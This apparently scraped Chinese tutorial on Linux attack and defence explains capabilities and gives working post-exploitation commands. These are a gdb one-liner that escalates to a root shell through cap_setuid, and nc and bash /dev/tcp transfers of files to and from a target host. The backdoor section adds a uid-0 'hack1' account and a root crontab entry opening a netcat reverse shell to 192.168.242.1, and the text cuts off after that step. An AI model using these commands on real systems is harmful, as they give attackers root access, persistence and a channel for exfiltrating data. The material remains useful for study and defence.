Linux系统安全攻防技术( 三 )


https://www.freebuf.com/articles/system/251182.html
 
capabilities的作用是提供一种与suid相比更细粒度的控制,在执行特权操作的时候,如果进程或线程的euid不是root,那么系统就检查该线程是否具有该特权操作对应的capability,如果具有,才能执行特权操作 。就像是把suid分成了很多份,需要的时候给你其中一份,其它份不给 。
 
例如,在安装wireshark软件后,默认情况下普通用户无法对网卡实施抓包操作 。这是因为普通用户不具备抓包操作的权限 。
wireshark给出的方法是,将当前用户加入wireshark组:

Linux系统安全攻防技术

文章插图
 
但是也可以为wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities 。授予权限之后之后普通用户就可以进行抓包操作了:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
Linux系统安全攻防技术

文章插图
 
 
【Linux系统安全攻防技术】例子:Linux系统(CentOS 7)通过带有capabilities的程序提权
//查找设置了capabilities的程序
getcap -r / 2>/dev/null
Linux系统安全攻防技术

文章插图
 
首先要在系统中查找设置了capabilities的程序 。其中设置了cat_setuid的capability的程序存在提权的可能性 。常见的可以通过cap_setuid的capability提权的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等 。
 
//通过gdb提权
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
Linux系统安全攻防技术

文章插图
 
提权成功,得到了root shell 。
 
(四)文件传输
1. 将文件上传到目标Linux
例子,使用下面的命令将文件从远程主机上传到目标Linux服务器:
 
第一步,远程主机创建测试文件并监听端口
echo "get by bash." > bash.sent
nc -l -p 12345 < bash.sent
Linux系统安全攻防技术

文章插图
 
 
第二步,目标Linux服务器使用bash连接远程主机并获取文件
bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'
Linux系统安全攻防技术

文章插图
 
文件传输成功 。
 
2. 从目标Linux系统下载文件
例子,使用下面的命令将目标Linux系统的文件下载到远程主机:
 
第一步,远程主机监听12345端口
nc -l -p 12345 > bash.get
 
第二步,Linux服务器创建测试文件并使用bash将文件传输到远程主机
echo "sent by bash." > bash.sent
bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'
Linux系统安全攻防技术

文章插图
 
 
第三步,远程主机查看接收到的文件
Linux系统安全攻防技术

文章插图
 
文件传输成功 。
 
(五)木马后门
后门的种类很多,例如下面这些:
  • uid为0的账户
  • crontab后门
  • ssh证书后门
  • ssh服务后门
  • ssh客户端后门
  • systemd服务后门
推荐阅读:《Linux系统后门初步研究》
https://www.freebuf.com/articles/system/259494.html
该文章介绍了一些Linux系统后门的创建方法 。
在本文档中,分别对uid为0的账户、crontab后门和ssh证书后门进行介绍 。
 
1. 创建uid为0的后门账户
//创建用户账户,指定账户的uid为0
useradd -o -u 0 hack1
//设置口令
passwd hack1
Linux系统安全攻防技术

文章插图
 
首先在系统中创建一个后门账户,该账户的uid设置为0,也就是说,创建一个超级用户 。
注意,这个账户受到ssh服务配置的影响 。如果sshd_config文件中设置PermitRootLogin为no,那么,这个hack1用户是无法远程登录的,虽然他的用户名不是root 。
 
2. 创建crontab后门
//在被攻击机器上,以root身份编辑crontab
crontab -e -u root
*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555
保存退出
 
//攻击者监听本地端口,得到反弹shell
nc -l -p 5555
Linux系统安全攻防技术


推荐阅读